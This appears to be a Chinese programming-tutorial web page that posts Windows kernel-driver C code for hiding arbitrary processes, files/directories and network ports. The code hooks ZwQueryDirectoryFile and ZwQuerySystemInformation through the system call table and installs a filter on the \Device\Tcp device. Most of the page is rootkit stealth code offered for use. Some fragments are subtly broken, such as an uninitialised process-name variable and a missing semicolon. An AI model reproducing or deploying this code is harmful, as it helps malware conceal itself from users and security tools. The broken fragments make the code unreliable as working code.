程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> VC >> vc教程 >> 隱藏任意進程、目錄/文件、注冊表、端口

隱藏任意進程、目錄/文件、注冊表、端口

編輯:vc教程

查找進程,目錄/文件,注冊表等操作將最終調用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函數。要想攔截這些函數達到隱藏目的,需先自己實現以上函數,並修改系統維護的一個SYSCALL 表使之指向自己預先定義的函數。因 SYSCALL 表在用戶層不可見,所以要寫 DRIVE 在 RING 0 下才可修改。關於如何修改已有文章詳細介紹過,這裡不在詳述。(可以參見 sysinternals.com 或 WebCrazy 所寫的文章)。查找端口用的是 TDI 查詢。TDI 導出了兩個設備 \\Device\\Tcp 與 \\Device\\Udp。我們可以利用設備過濾驅動的方法寫一個 DRIVE 把這兩個設備的所有 IRP 包接管過來進行處理後再傳給下層驅動。以達到隱藏任意端口的目的。上述提到的方法不是新東西,是在N年前就已經有的老技術。俺現在將它貼出來只不過為了充實下版面,灌灌水罷了。高手們還是別看了。下面是我 DRIVE 中隱藏任意進程,目錄/文件,端口代碼片段。

(注冊表操作在 RegMon 中寫的很詳細,這裡就不列出了)

typedef struct _FILETIME
{
  DWORD dwLowDateTime;
  DWORD dwHighDateTime;
}FILETIME;
typedef struct _DirEntry
{
  DWORD dwLenToNext;
  DWORD dwAttr;
  FILETIME ftCreate, ftLastAccess, ftLastWrite;
  DWORD dwUnknown[ 2 ];
  DWORD dwFileSizeLow;
  DWORD dwFileSizeHigh;
  DWORD dwUnknown2[ 3 ];
  WORD wNameLen;
  WORD wUnknown;
  DWORD dwUnknown3;
  WORD wShortNameLen;
  WCHAR swShortName[ 12 ];
  WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
struct _SYSTEM_THREADS
{
  LARGE_INTEGER KernelTime;
  LARGE_INTEGER UserTime;
  LARGE_INTEGER CreateTime;
  ULONG WaitTime;
  PVOID StartAddress;
  CLIENT_ID ClientIs;
  KPRIORITY Priority;
  KPRIORITY BasePriority;
  ULONG ContextSwitchCount;
  ULONG ThreadState;
  KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
  ULONG NextEntryDelta;
  ULONG ThreadCount;
  ULONG Reserved[6];
  LARGE_INTEGER CreateTime;
  LARGE_INTEGER UserTime;
  LARGE_INTEGER KernelTime;
  UNICODE_STRING ProcessName;
  KPRIORITY BasePriority;
  ULONG ProcessId;
  ULONG InheritedFromProcessId;
  ULONG HandleCount;
  ULONG Reserved2[2];
  VM_COUNTERS VmCounters;
  IO_COUNTERS IoCounters;
  struct _SYSTEM_THREADS Threads[1];
};
// 隱藏目錄/文件
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
  NTSTATUS rc;
  CHAR aProcessName[80];
  ANSI_STRING ansiFileName,ansiDirName;
  UNICODE_STRING uniFileName;
  PP_DIR ptr;
  WCHAR ParentDirectory[1024] = {0};
  int BytesReturned;
  PVOID Object;
// 執行舊的ZwQueryDirectoryFile函數
  rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,
    IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,
    FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
  if(NT_SUCCESS(rc))
  {
   PDirEntry p;
   PDirEntry pLast;
   BOOL bLastOne;
   int found;
   p = (PDirEntry)FileInformationBuffer; // 將查找出來結果賦給結構
   pLast = NULL;
 
   do
   {
    bLastOne = !( p->dwLenToNext );
    RtlInitUnicodeString(&uniFileName,p->suName);
    RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
    RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
    RtlUpperString(&ansiFileName,&ansiDirName);
   
    found=0;
    // 在鏈表中查找是否包含當前目錄
    for(ptr = list_head; ptr != NULL; ptr = ptr->next)
    {
     if (ptr->flag != PTR_HIDEDIR) continue;
     if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
     {
      found=1;
      break;
     }
    }//end for
    // 如果鏈表中包含當前目錄,隱藏
    if(found)
    {
     if(bLastOne)
     {
      if(p == (PDirEntry)FileInformationBuffer )
      {
       rc = 0x80000006; //隱藏
      }
      else
       pLast->dwLenToNext = 0;
      break;
     }
     else
     {
      int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
      int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
      RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
      continue;
     }
    }
    pLast = p;
    p = (PDirEntry)((char *)p + p->dwLenToNext );
   }while( !bLastOne );
  RtlFreeAnsiString(&ansiDirName);
  RtlFreeAnsiString(&ansiFileName);
  }
  return(rc);
}
// 隱藏進程
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
  NTSTATUS rc;
  ANSI_STRING process_name,process_uname,process_name1,process_name2;
  BOOL g_hide_proc = TRUE;
  CHAR aProcessName[80];
  PP_DIR ptr;
  int found;
  // 執行舊的ZwQuerySystemInformation函數
  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass,
      SystemInformation,SystemInformationLength,ReturnLength );
  if(NT_SUCCESS(rc ))
  {
   if( g_hide_proc && (5 == SystemInformationClass))
   {
    // 將查找出來結果賦給結構
    struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
    struct _SYSTEM_PROCESSES *prev = NULL;
    // 遍歷進程
    while(curr)
    {
     if((0 < process_name.Length) && (255 > process_name.Length))
     {
      found=0;
      // 遍歷鏈表
      for(ptr=list_head;ptr!=NULL;ptr=ptr->next )
      {
       if(ptr->flag != PTR_HIDEPROC) continue ;
       if(memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
       {
        found =1;
       }
      }
      // 判斷如果是隱藏進程名則覆蓋掉此進程名
      while(found)
      {
       if(prev)
       {
        if(curr->NextEntryDelta)
        {
         prev->NextEntryDelta += curr->NextEntryDelta;
        }
        else
        {
         prev->NextEntryDelta = 0;
        }
       }
       else
       {
        if(curr->NextEntryDelta)
        {
         (char *)SystemInformation += curr->NextEntryDelta;
        }
        else
        {
         SystemInformation = NULL;
        }
       }
       if(curr->NextEntryDelta)
        ((char *)curr += curr->NextEntryDelta);
       else
       {
         curr = NULL;break;
       }
       // 遍歷鏈表
       found = 0;
       for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
       {
        if (ptr->flag != PTR_HIDEPROC) continue ;
        if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
        {
         found = 1;
        }
       }
      }
     }
     if(curr != NULL)
     {
      prev = curr;
      if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
      else curr = NULL;
     }
    }
   }
  }
  return(rc);
}
//隱藏端口
PDEVICE_OBJECT m_TcpgetDevice;
PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;
Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");
//得到已有的設備指針
status = IoGetDeviceObjectPointer( &TcpDeviceName,FILE_ALL_ACCESS,&FileObject,&TcpDevice);
if(!NT_SUCCESS(status))
{
  DbgPrint("IoGetDeviceObjectPointer error!\n");
  return status;
}
DbgPrint("IoGetDeviceObjectPointer ok!\n");
// 建立設備
status = IoCreateDevice( DriverObject,sizeof(DEVICE_EXTENSION),NULL,
      FILE_DEVICE_UNKNOWN,0,FALSE,&FilterDevice);
if(!NT_SUCCESS(status))
{
  return status;
}
// 加入設備
TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);
if(!TcpgetDevice)
{
  IoDeleteDevice(FilterDevice);
  DbgPrint("IoAttachDeviceToDeviceStack error!\n");
  return STATUS_SUCCESS;
}
m_TcpgetDevice = TcpgetDevice;
// 加到過濾函數中處理
for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
  if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))
  {
   DriverObject->MajorFunction[i] = PassThrough;
  }
}
ObDereferenceObject(FileObject);
NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
  NTSTATUS status;
  PIO_STACK_LOCATION pIrpStack;
  pIrpStack = IoGetCurrentIrpStackLocation( Irp );
//如是查詢則完成 IRP
if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
{
  //這裡可以近一步判斷某個端口
  Irp->IoStatus.Status=STATUS_SUCCESS;
  IoCompleteRequest(Irp,IO_NO_INCREMENT);
  return STATUS_SUCCESS;
}
//復制當前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine( Irp,GenericCompletion,NULL,TRUE,TRUE,TRUE);
//傳遞
return IoCallDriver( m_TcpgetDevice, Irp);
}

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved